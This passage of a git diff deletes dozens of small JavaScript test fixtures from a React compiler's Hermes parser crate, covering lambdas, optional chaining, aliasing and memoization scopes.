-      {((Tag = props.alternateComponent), maybeMutate(maybeMutable))}
-      <Tag />
-    </Tag>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order.js b/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order.js
deleted file mode 100644
index 51f6b51ff717..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/jsx-tag-evaluation-order.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function Component(props) {
-  let Tag = View;
-  return (
-    <Tag>
-      {((Tag = HScroll), props.value)}
-      <Tag />
-    </Tag>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-capture-returned-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-capture-returned-alias.js
deleted file mode 100644
index 0bc0187f9aff..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-capture-returned-alias.js
+++ /dev/null
@@ -1,18 +0,0 @@
-// Here, element should not be memoized independently of aliasedElement, since
-// it is captured by fn.
-// AnalyzeFunctions currently does not find captured objects.
-//  - mutated context refs are declared as `Capture` effect in `FunctionExpression.deps`
-//  - all other context refs are left as Unknown. InferReferenceEffects currently demotes
-//    them to reads
-function CaptureNotMutate(props) {
-  const idx = foo(props.x);
-  const element = bar(props.el);
-
-  const fn = function () {
-    const arr = { element };
-    return arr[idx];
-  };
-  const aliasedElement = fn();
-  mutate(aliasedElement);
-  return aliasedElement;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutate-shadowed-object.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutate-shadowed-object.js
deleted file mode 100644
index 4971f05bd725..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutate-shadowed-object.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  const x = {};
-  {
-    const x = [];
-    const fn = function () {
-      mutate(x);
-    };
-    fn();
-  }
-  return x; // should return {}
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-non-reactive-to-reactive.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-non-reactive-to-reactive.js
deleted file mode 100644
index 85c905ea13e7..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-non-reactive-to-reactive.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function f(a) {
-  let x;
-  (() => {
-    x = { a };
-  })();
-  return <div x={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-ref-non-reactive.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-ref-non-reactive.js
deleted file mode 100644
index 25f57c6374a3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-mutated-ref-non-reactive.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function f(a) {
-  let x;
-  (() => {
-    x = {};
-  })();
-  // this is not reactive on `x` as `x` is never reactive
-  return <div x={x} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-primitive.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-primitive.js
deleted file mode 100644
index 824b269bd543..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-primitive.js
+++ /dev/null
@@ -1,14 +0,0 @@
-// writing to primitives is not a 'mutate' or 'store' to context references,
-// under current analysis in AnalyzeFunctions.
-// <unknown> $23:TFunction = Function @deps[<unknown>
-//   $21:TPrimitive,<unknown> $22:TPrimitive]:
-
-function Component() {
-  let x = 40;
-
-  const fn = function () {
-    x = x + 1;
-  };
-  fn();
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-shadowed-primitive.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-shadowed-primitive.js
deleted file mode 100644
index 66edf6b9f335..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-reassign-shadowed-primitive.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function Component() {
-  const x = {};
-  {
-    let x = 56;
-    const fn = function () {
-      x = 42;
-    };
-    fn();
-  }
-  return x; // should return {}
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-with-fbt.js b/compiler/crates/react_hermes_parser/tests/fixtures/lambda-with-fbt.js
deleted file mode 100644
index 539fc7e1f60a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/lambda-with-fbt.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import { fbt } from "fbt";
-
-function Component() {
-  const buttonLabel = () => {
-    if (!someCondition) {
-      return <fbt desc="My label">{"Purchase as a gift"}</fbt>;
-    } else if (
-      !iconOnly &&
-      showPrice &&
-      item?.current_gift_offer?.price?.formatted != null
-    ) {
-      return (
-        <fbt desc="Gift button's label">
-          {"Gift | "}
-          <fbt:param name="price">
-            {item?.current_gift_offer?.price?.formatted}
-          </fbt:param>
-        </fbt>
-      );
-    } else if (!iconOnly && !showPrice) {
-      return <fbt desc="Gift button's label">{"Gift"}</fbt>;
-    }
-  };
-
-  return (
-    <View>
-      <Button text={buttonLabel()} />
-    </View>
-  );
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression-object.js b/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression-object.js
deleted file mode 100644
index aaa317d920cd..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression-object.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function component(props) {
-  // The mutable range for a extens the entire body.
-  // commenting out the last line of InferMutableRanges fixes it.
-  // my guess of what's going on is that a is aliased into the return value object literal,
-  // and that alias makes it look like the range of a needs to be extended to that point.
-  // but what's weird is that the end of a's range doesn't quite extend to the object.
-  let a = props.a || (props.b && props.c && props.d);
-  let b = (props.a && props.b && props.c) || props.d;
-  return { a, b };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression.js
deleted file mode 100644
index 639b00eb1ad3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/logical-expression.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component(props) {
-  let a = props.a || (props.b && props.c && props.d);
-  let b = (props.a && props.b && props.c) || props.d;
-  return a ? b : props.c;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/method-call-computed.js b/compiler/crates/react_hermes_parser/tests/fixtures/method-call-computed.js
deleted file mode 100644
index 5aaf78027ee9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/method-call-computed.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function foo(a, b, c) {
-  // Construct and freeze x, y
-  const x = makeObject(a);
-  const y = makeObject(a);
-  <div>
-    {x}
-    {y}
-  </div>;
-
-  // z should depend on `x`, `y.method`, and `b`
-  const z = x[y.method](b);
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/method-call-fn-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/method-call-fn-call.js
deleted file mode 100644
index 5289caae269e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/method-call-fn-call.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c) {
-  // Construct and freeze x
-  const x = makeObject(a);
-  <div>{x}</div>;
-
-  // y should depend on `x` and `b`
-  const method = x.method;
-  const y = method.call(x, b);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/method-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/method-call.js
deleted file mode 100644
index 8978b408507e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/method-call.js
+++ /dev/null
@@ -1,9 +0,0 @@
-function foo(a, b, c) {
-  // Construct and freeze x
-  const x = makeObject(a);
-  <div>{x}</div>;
-
-  // y should depend on `x` and `b`
-  const y = x.foo(b);
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-export-gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-export-gating-test.js
deleted file mode 100644
index 8f7a29bc0d56..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-export-gating-test.js
+++ /dev/null
@@ -1,9 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-export const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-gating-test.js b/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-gating-test.js
deleted file mode 100644
index d81a0dfdcd06..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/multi-arrow-expr-gating-test.js
+++ /dev/null
@@ -1,11 +0,0 @@
-// @gating
-const ErrorView = (error, _retry) => <MessageBox error={error}></MessageBox>;
-
-const Renderer = (props) => (
-  <Foo>
-    <Bar></Bar>
-    <ErrorView></ErrorView>
-  </Foo>
-);
-
-export default Renderer;
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-loops.js b/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-loops.js
deleted file mode 100644
index c59249e54300..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-loops.js
+++ /dev/null
@@ -1,34 +0,0 @@
-function mutate(x, y) {}
-function cond(x) {}
-
-function Component(props) {
-  let a = {};
-  let b = {};
-  let c = {};
-  let d = {};
-  while (true) {
-    let z = a;
-    a = b;
-    b = c;
-    c = d;
-    d = z;
-    mutate(a, b);
-    if (cond(a)) {
-      break;
-    }
-  }
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `d`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-
-  mutate(d, null);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-with-aliasing.js b/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-with-aliasing.js
deleted file mode 100644
index 3791e4b68842..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-lifetime-with-aliasing.js
+++ /dev/null
@@ -1,30 +0,0 @@
-function mutate(x, y) {}
-
-function Component(props) {
-  const a = {};
-  const b = [a]; // array elements alias
-  const c = {};
-  const d = { c }; // object values alias
-
-  // capture all the values into this object
-  const x = {};
-  x.b = b;
-  const y = mutate(x, d); // mutation aliases the arg and return value
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `x`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-  if (y) {
-  }
-
-  // could in theory mutate any of a/b/c/x/z, so the above should be inferred as mutable
-  mutate(x, null);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-liverange-loop.js b/compiler/crates/react_hermes_parser/tests/fixtures/mutable-liverange-loop.js
deleted file mode 100644
index 5b42db68310a..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/mutable-liverange-loop.js
+++ /dev/null
@@ -1,29 +0,0 @@
-function mutate() {}
-function cond() {}
-
-function Component(props) {
-  let a = {};
-  let b = {};
-  let c = {};
-  let d = {};
-  while (true) {
-    mutate(a, b);
-    if (cond(a)) {
-      break;
-    }
-  }
-
-  // all of these tests are seemingly readonly, since the values are never directly
-  // mutated again. but they are all aliased by `d`, which is later modified, and
-  // these are therefore mutable references:
-  if (a) {
-  }
-  if (b) {
-  }
-  if (c) {
-  }
-  if (d) {
-  }
-
-  mutate(d, null);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/nested-function-shadowed-identifiers.js b/compiler/crates/react_hermes_parser/tests/fixtures/nested-function-shadowed-identifiers.js
deleted file mode 100644
index 30bbc1ba727e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/nested-function-shadowed-identifiers.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function Component(props) {
-  const [x, setX] = useState(null);
-
-  const onChange = (e) => {
-    let x = null; // intentionally shadow the original x
-    setX((currentX) => currentX + x); // intentionally refer to shadowed x
-  };
-
-  return <input value={x} onChange={onChange} />;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/nested-optional-member-expr.js b/compiler/crates/react_hermes_parser/tests/fixtures/nested-optional-member-expr.js
deleted file mode 100644
index e9f800af8d45..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/nested-optional-member-expr.js
+++ /dev/null
@@ -1,6 +0,0 @@
-// We should codegen nested optional properties correctly
-// (i.e. placing `?` in the correct PropertyLoad)
-function Component(props) {
-  let x = foo(props.a?.b.c.d);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/nested-scopes-hook-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/nested-scopes-hook-call.js
deleted file mode 100644
index a1b0858fb3e5..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/nested-scopes-hook-call.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function component(props) {
-  let x = [];
-  let y = [];
-  y.push(useHook(props.foo));
-  x.push(y);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/new-spread.js b/compiler/crates/react_hermes_parser/tests/fixtures/new-spread.js
deleted file mode 100644
index f8a139d5882e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/new-spread.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = new Foo(...props.foo, null, ...[props.bar]);
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/nonoptional-load-from-optional-memberexpr.js b/compiler/crates/react_hermes_parser/tests/fixtures/nonoptional-load-from-optional-memberexpr.js
deleted file mode 100644
index 87579ff2b2cc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/nonoptional-load-from-optional-memberexpr.js
+++ /dev/null
@@ -1,8 +0,0 @@
-// Note that `a?.b.c` is semantically different from `(a?.b).c`
-// Here, 'props?.a` is an optional chain, and `.b` is an unconditional load
-// (nullthrows if a is nullish)
-
-function Component(props) {
-  let x = (props?.a).b;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-cached-in-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-cached-in-if-else.js
deleted file mode 100644
index 2ccd25119b92..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-cached-in-if-else.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c, d) {
-  let x = {};
-  if (someVal) {
-    x = { b };
-  } else {
-    x = { c };
-  }
-
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-mutated-after-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-mutated-after-if-else.js
deleted file mode 100644
index 4ed2c5b6fb42..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/obj-literal-mutated-after-if-else.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c, d) {
-  let x = {};
-  if (someVal) {
-    x = { b };
-  } else {
-    x = { c };
-  }
-
-  x.f = 1;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else-with-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else-with-alias.js
deleted file mode 100644
index de4dd11684fe..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else-with-alias.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    const y = someObj();
-    const z = y;
-    x = z;
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else.js b/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else.js
deleted file mode 100644
index ed43dec12211..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-if-else.js
+++ /dev/null
@@ -1,11 +0,0 @@
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    x = someObj();
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-nested-if-else-with-alias.js b/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-nested-if-else-with-alias.js
deleted file mode 100644
index cd2ac6fa5a6e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/obj-mutated-after-nested-if-else-with-alias.js
+++ /dev/null
@@ -1,19 +0,0 @@
-function foo(a, b, c, d) {
-  let x = someObj();
-  if (a) {
-    let z;
-    if (b) {
-      const w = someObj();
-      z = w;
-    } else {
-      z = someObj();
-    }
-    const y = z;
-    x = z;
-  } else {
-    x = someObj();
-  }
-
-  x.f = 1;
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/object-computed-access-assignment.js b/compiler/crates/react_hermes_parser/tests/fixtures/object-computed-access-assignment.js
deleted file mode 100644
index 5421c12e6843..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/object-computed-access-assignment.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function foo(a, b, c) {
-  const x = { ...a };
-  x[b] = c[b];
-  x[1 + 2] = c[b * 4];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/object-expression-string-literal-key.js b/compiler/crates/react_hermes_parser/tests/fixtures/object-expression-string-literal-key.js
deleted file mode 100644
index 0eaafcac2401..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/object-expression-string-literal-key.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = { ["foo"]: props.foo };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/object-literal-spread-element.js b/compiler/crates/react_hermes_parser/tests/fixtures/object-literal-spread-element.js
deleted file mode 100644
index b9ad7b65c272..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/object-literal-spread-element.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = { ...props.foo };
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/object-pattern-params.js b/compiler/crates/react_hermes_parser/tests/fixtures/object-pattern-params.js
deleted file mode 100644
index 280aa8666607..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/object-pattern-params.js
+++ /dev/null
@@ -1,5 +0,0 @@
-function component({ a, b }) {
-  let y = { a };
-  let z = { b };
-  return { y, z };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/object-properties.js b/compiler/crates/react_hermes_parser/tests/fixtures/object-properties.js
deleted file mode 100644
index 6d5c97ce7e60..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/object-properties.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function foo(a, b, c) {
-  const x = a.x;
-  const y = { ...b.c.d };
-  y.z = c.d.e;
-  foo(a.b.c);
-  [a.b.c];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-chained.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-chained.js
deleted file mode 100644
index c4fbcff906d9..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-chained.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return call?.(props.a)?.(props.b)?.(props.c);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-logical.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-logical.js
deleted file mode 100644
index 41a1d8673430..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-logical.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const item = useFragment(graphql`...`, props.item);
-  return item.items?.map((item) => renderItem(item)) ?? [];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-simple.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-simple.js
deleted file mode 100644
index 6590cb5b78f0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-simple.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return foo?.(props);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-independently-memoizable-arg.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-independently-memoizable-arg.js
deleted file mode 100644
index 9d9abf887f51..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-independently-memoizable-arg.js
+++ /dev/null
@@ -1,13 +0,0 @@
-function Component(props) {
-  const x = makeOptionalFunction(props);
-  // for a regular call, the JSX element could be independently memoized
-  // since it is an immutable value. however, because the call is optional,
-  // we can't extract out independent memoization for the element w/o
-  // forcing that argument to evaluate unconditionally
-  const y = x?.(
-    <div>
-      <span>{props.text}</span>
-    </div>
-  );
-  return y;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-optional-property-load.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-optional-property-load.js
deleted file mode 100644
index 400ec94c5c0c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call-with-optional-property-load.js
+++ /dev/null
@@ -1,3 +0,0 @@
-function Component(props) {
-  return props?.items?.map?.(render)?.filter(Boolean) ?? [];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-call.js
deleted file mode 100644
index f4610a49f3ab..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-call.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = makeOptionalFunction(props);
-  const y = makeObject(props);
-  const z = x?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-load-static.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-load-static.js
deleted file mode 100644
index aa192bc82dcf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-load-static.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  let x = a?.b.c[0];
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-member-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-member-expression.js
deleted file mode 100644
index 5e8a408e1007..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-computed-member-expression.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const object = makeObject(props);
-  return object?.[props.key];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-call-as-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-call-as-property.js
deleted file mode 100644
index ad51e5ec6286..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-call-as-property.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  return x?.[foo(props.value)];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-chain.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-chain.js
deleted file mode 100644
index 568d059be8be..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-chain.js
+++ /dev/null
@@ -1,7 +0,0 @@
-// Note that `a?.b.c` is semantically different from `(a?.b).c`
-// We should codegen the correct member expressions
-function Component(props) {
-  let x = props?.b.c;
-  let y = props?.b.c.d?.e.f.g?.h;
-  return { x, y };
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-with-optional-member-expr-as-property.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-with-optional-member-expr-as-property.js
deleted file mode 100644
index d5ced1ec06fc..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression-with-optional-member-expr-as-property.js
+++ /dev/null
@@ -1,4 +0,0 @@
-function Component(props) {
-  const x = makeObject();
-  return x.y?.[props.a?.[props.b?.[props.c]]];
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression.js
deleted file mode 100644
index f2af4518ee24..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-member-expression.js
+++ /dev/null
@@ -1,7 +0,0 @@
-function Foo(props) {
-  let x = bar(props.a);
-  let y = x?.b;
-
-  let z = useBar(y);
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-method-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-method-call.js
deleted file mode 100644
index 25145d61edc6..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-method-call.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = makeObject(props);
-  const y = makeObject(props);
-  const z = x.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-method-call.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-method-call.js
deleted file mode 100644
index 698437dcd8c1..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-method-call.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = makeOptionalObject(props);
-  const y = makeObject(props);
-  const z = x?.method(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-optional-method.js b/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-optional-method.js
deleted file mode 100644
index 0d62a3c78dbe..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/optional-receiver-optional-method.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function Component(props) {
-  const x = makeOptionalObject(props);
-  const y = makeObject(props);
-  const z = x?.optionalMethod?.(y.a, props.a, foo(y.b), bar(props.b));
-  return z;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved-by-terminal.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved-by-terminal.js
deleted file mode 100644
index 66d7e1ce0435..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved-by-terminal.js
+++ /dev/null
@@ -1,10 +0,0 @@
-function foo(a, b, c) {
-  const x = [];
-  const y = [];
-
-  if (x) {
-  }
-
-  y.push(a);
-  x.push(b);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved.js
deleted file mode 100644
index ebefef95bbe3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-interleaved.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(a, b) {
-  let x = [];
-  let y = [];
-  x.push(a);
-  y.push(b);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowed.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowed.js
deleted file mode 100644
index 815317752319..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowed.js
+++ /dev/null
@@ -1,6 +0,0 @@
-function foo(a, b) {
-  let x = [];
-  let y = [];
-  y.push(b);
-  x.push(a);
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowing-within-block.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowing-within-block.js
deleted file mode 100644
index 79a7e0004f13..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-shadowing-within-block.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    let y = [];
-    if (b) {
-      y.push(c);
-    }
-
-    x.push(<div>{y}</div>);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-while.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-while.js
deleted file mode 100644
index 7fd88d45eaf0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-while.js
+++ /dev/null
@@ -1,8 +0,0 @@
-function foo(a, b, c) {
-  let x = [];
-  let y = [];
-  while (c) {
-    y.push(b);
-    x.push(a);
-  }
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-within-block.js b/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-within-block.js
deleted file mode 100644
index 7ec6185deb4f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/overlapping-scopes-within-block.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function foo(a, b, c) {
-  let x = [];
-  if (a) {
-    let y = [];
-    if (b) {
-      y.push(c);
-    }
-
-    x.push(y);
-  }
-  return x;
-}
diff --git a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-alias-mutate.js b/compiler/crates/react_hermes_parser/tests/fixtures/primitive-alias-mutate.js
deleted file mode 100644
index f77284dcd9d2..000000000000
--- a/compiler/crates/react_hermes_parser/tests/fixtures/primitive-alias-mutate.js
